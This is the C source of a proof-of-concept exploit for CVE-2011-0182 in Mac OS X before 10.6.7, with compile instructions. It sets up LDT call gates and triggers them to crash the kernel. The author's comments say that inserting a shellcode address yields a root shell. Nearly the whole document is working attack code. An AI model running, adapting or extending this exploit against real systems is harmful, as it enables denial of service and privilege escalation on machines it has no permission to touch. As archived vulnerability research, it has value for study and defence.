Mac OS X Kernel Panic

`/*  
Mac OS X < 10.6.7 Kernel Panic Exploit  
CVE-2011-0182, Proof Of Concept Code  
  
Author - Chanam Park (hkpco)  
Date - 2011. 06  
Contact - [email protected] , http://hkpco.kr , @hkpco  
  
Thanks for inspiration / x82, riaf.  
*/  
// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32  
  
#include <architecture/i386/table.h>  
#include <i386/user_ldt.h>  
  
#include <unistd.h>  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
  
void dummy_func( void ) { asm volatile( ".byte 0xff" ); }  
  
int main( void )  
{  
int ret;  
union ldt_entry cgate, cgate2;  
char dummy[128] = {0x00,};  
  
cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff;  
cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff;  
// You can input shellcode address value here to get the root shell.  
/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p  
The normal system has a little different environment.  
I have no time for this anymore because of my summer break is over.  
So.. Good Luck! */  
  
cgate.call_gate.argcnt = 0;  
cgate.call_gate.type = 0xc; // DESC_CALL_GATE  
cgate.call_gate.dpl = 3;  
cgate.call_gate.present = 1;  
  
cgate.call_gate.seg.rpl = 0;  
cgate.call_gate.seg.ti = 0;  
cgate.call_gate.seg.index = 16;  
  
cgate2.call_gate.offset00 = 0x0;  
  
cgate2.call_gate.seg.rpl = 0;  
cgate2.call_gate.seg.ti = 0;  
cgate2.call_gate.seg.index = 0;  
  
cgate2.call_gate.argcnt = 0;  
cgate2.call_gate.type = 0;  
cgate2.call_gate.dpl = 0;  
cgate2.call_gate.present = 1;  
  
cgate2.call_gate.offset16 = 0x0;  
  
printf( "// coded by Chanam Park (hkpco)\n\n" );  
  
ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );  
printf( "Selector Number in LDT <1>: 0x%x\n", ret );  
  
ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );  
printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );  
  
printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );  
printf( "The program will be continued when you input any value.\n" );  
printf( "-> " );  
fflush(stdout);  
scanf( "%s", dummy );  
  
asm volatile( "lcall $0x3f, $0x0" );  
// Trigger  
  
return 0;  
}  
  
`